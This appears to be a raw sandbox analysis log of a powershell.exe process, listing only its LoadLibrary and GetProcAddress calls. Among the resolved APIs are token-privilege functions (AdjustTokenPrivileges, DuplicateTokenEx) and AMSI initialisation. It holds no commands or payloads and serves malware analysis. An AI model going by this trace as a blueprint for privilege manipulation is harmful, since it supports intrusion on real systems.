%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter oleaut32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\b5ba37e1558ced178a99011a1d659b52\Microsoft.PowerShell.ConsoleH (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\6da01910c256231d1c50ad0aacee5941\System.Management.Automation. (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter combase.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter wintrust.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter amsi.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\version.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Mf49f6405#\7b1f35fb0c2d6955ce5af2bd372c65f2\Microsoft.Management.Infrastr (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\en-US\tzres.dll.mui (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Dired13b18a9#\8ad4c0af5b3d51a0f3a4dac0d44d85d4\System.DirectoryServices.ni.d (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Data\7bed49c46de9295a8453db205c60a028\System.Data.ni.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Numerics\86cfd69ce1261baf4740e7606cade014\System.Numerics.ni.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-xstate-l2-1-0.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P6f792626#\7ff5199e757cb8af9ad949453f698d09\Microsoft.PowerShell.Security (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Transactions\604272b0faec2e09d53d38e03bc89c6c\System.Transactions.ni.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Configuration\4beb1eeca20b27d4bd1bb9880f03cc2a\System.Configuration.ni.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\shlwapi.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter shlwapi.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wldp.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter wldp.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MPCLIENT.DLL (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %ALLUSERSPROFILE%\Microsoft\Windows Defender\platform\4.12.17007.18022-0\MsMpLics.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\kernel32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\advapi32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-winrt-roparameterizediid-l1-1-0.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.P521220ea#\df7d947a99cbcfaa726b127726f05476\Microsoft.PowerShell.Commands (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Confe64a9051#\120a0532577f871c2415502d9edacdd6\System.Configuration.Install. (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\bcrypt.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter bcrypt.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter advapi32 (UID: 00000000-00005788) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\fb4ba4db52ca77687f807bb068871ec2\Microsoft.VisualBasic.ni.dll (UID: 00000000-00005788)34:Tb4a3,"powershell.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKeyW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegEnumValueW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegCloseKey (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AddDllDirectory (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EventRegister (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EventSetInformation (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCallback (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegisterShimImplCleanupCallback (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetShellShimInstance (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter OnShimDllMainCalled (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx_RetAddr (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CorBindToRuntimeEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter UrlIsW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AppPolicyGetClrCompat (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackageInfo (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentPackagePath (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessToken (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformation (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValueW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetRuntimeInfo (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetProcessWindowStation (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetUserObjectInformationW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DllGetClassObjectInternal (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter QuirkIsEnabled3 (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter QuirkGetData2 (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateConfigStream_RetAddr (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetNumaHighestNodeNumber (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RtlVirtualUnwind (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetSystemWindowsDirectoryW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AllocateAndInitializeSid (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter InitializeAcl (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AddAccessAllowedAce (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FreeSid (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RoInitialize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AddSIDToBoundaryDescriptor (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateBoundaryDescriptorW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreatePrivateNamespaceW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter OpenPrivateNamespaceW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DeleteBoundaryDescriptor (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WerRegisterRuntimeExceptionModule (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RaiseException (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoInitializeEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RoUninitialize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoGetContextToken (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetProcessExecutableHeap_RetAddr (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetSystemFileCacheSize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter NtSetSystemInformation (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter PrivIsDllSynchronizationHeld (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SysStringByteLen (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LocaleNameToLCID (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RoGetActivationFactory (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateStringReference (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WindowsDeleteString (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WindowsCreateString (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter NtQueryInformationThread (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateWaitableTimerExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetWaitableTimerEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetWindow (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisible (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter IsWindowVisibleW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00005788) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00005788) 